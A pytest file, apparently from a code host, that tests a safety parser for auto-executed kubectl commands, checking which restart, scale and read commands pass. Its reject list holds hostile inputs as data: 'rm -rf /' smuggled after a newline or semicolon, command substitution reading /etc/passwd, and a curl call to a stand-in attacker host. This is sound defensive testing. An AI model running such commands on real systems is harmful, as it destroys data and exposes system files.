76 lines
2.9 KiB
Python
76 lines
2.9 KiB
Python
"""
|
|
SPF-2 structured action parser safety tests.
|
|
|
|
These tests cover the auto-execute kubectl grammar without mocking services.
|
|
"""
|
|
|
|
import pytest
|
|
|
|
from src.services.action_parser import (
|
|
ActionKind,
|
|
is_safe_kubectl_action,
|
|
parse_kubectl_action,
|
|
)
|
|
|
|
|
|
@pytest.mark.parametrize("cmd", [
|
|
"kubectl rollout restart deployment/awoooi-api -n awoooi-prod",
|
|
"kubectl rollout restart statefulset/postgres-primary -n awoooi-prod",
|
|
"kubectl rollout restart daemonset/node-exporter -n awoooi-prod",
|
|
"kubectl rollout restart deployment awoooi-api -n awoooi-prod",
|
|
"kubectl -n awoooi-prod rollout restart deploy/awoooi-api",
|
|
"kubectl scale deployment awoooi-api --replicas=3 -n awoooi-prod",
|
|
"kubectl autoscale deployment awoooi-api --cpu-percent=70 --min=2 --max=5 -n awoooi-prod",
|
|
"kubectl set resources deployment/awoooi-api --limits=cpu=2000m,memory=1Gi -n awoooi-prod",
|
|
"kubectl delete pod awoooi-api-7d6b776f78-4sgjl -n awoooi-prod",
|
|
"kubectl get pods -n awoooi-prod",
|
|
"kubectl describe node k3s-node-01",
|
|
"kubectl logs -n awoooi-prod --tail=100 --selector=app=awoooi-api",
|
|
"kubectl top pods -n awoooi-prod",
|
|
])
|
|
def test_safe_kubectl_actions_pass(cmd):
|
|
assert is_safe_kubectl_action(cmd) is True
|
|
|
|
|
|
@pytest.mark.parametrize("cmd", [
|
|
"kubectl get pods\nrm -rf /",
|
|
"kubectl get pods -n prod $(echo injected)",
|
|
"kubectl rollout restart deployment/$(cat /etc/passwd)",
|
|
"kubectl rollout restart deployment/awoooi-api; rm -rf / -n prod",
|
|
"kubectl rollout undo deployment/awoooi-api -n prod",
|
|
"kubectl get pods -n prod && curl http://attacker.invalid",
|
|
"kubectl delete deployment awoooi-api -n awoooi-prod",
|
|
"kubectl delete pods --all -n awoooi-prod",
|
|
"kubectl delete pod awoooi-api-7d6b776f78-4sgjl --force -n awoooi-prod",
|
|
"kubectl scale deployment awoooi-api --replicas=0 -n awoooi-prod",
|
|
"kubectl autoscale deployment awoooi-api --min=5 --max=2 -n awoooi-prod",
|
|
"kubectl set resources deployment/awoooi-api --limits=ephemeral-storage=10Gi -n awoooi-prod",
|
|
"kubectl patch deployment awoooi-api -p spec -n awoooi-prod",
|
|
"ssh 192.168.0.188 docker restart openclaw",
|
|
])
|
|
def test_unsafe_kubectl_actions_fail(cmd):
|
|
parsed = parse_kubectl_action(cmd)
|
|
assert parsed.ok is False, parsed
|
|
|
|
|
|
def test_parser_returns_structured_fields():
|
|
parsed = parse_kubectl_action(
|
|
"kubectl -n awoooi-prod rollout restart deployment/awoooi-api"
|
|
)
|
|
|
|
assert parsed.ok is True
|
|
assert parsed.kind is ActionKind.ROLLOUT
|
|
assert parsed.verb == "rollout"
|
|
assert parsed.subverb == "restart"
|
|
assert parsed.resource_type == "deployment"
|
|
assert parsed.resource_name == "awoooi-api"
|
|
assert parsed.namespace == "awoooi-prod"
|
|
|
|
|
|
def test_parser_rejects_newline_without_regex_backtracking():
|
|
cmd = "kubectl get pods" + (" " * 400) + "\nrm -rf /"
|
|
parsed = parse_kubectl_action(cmd)
|
|
|
|
assert parsed.ok is False
|
|
assert parsed.reason == "forbidden_shell_metachar"
|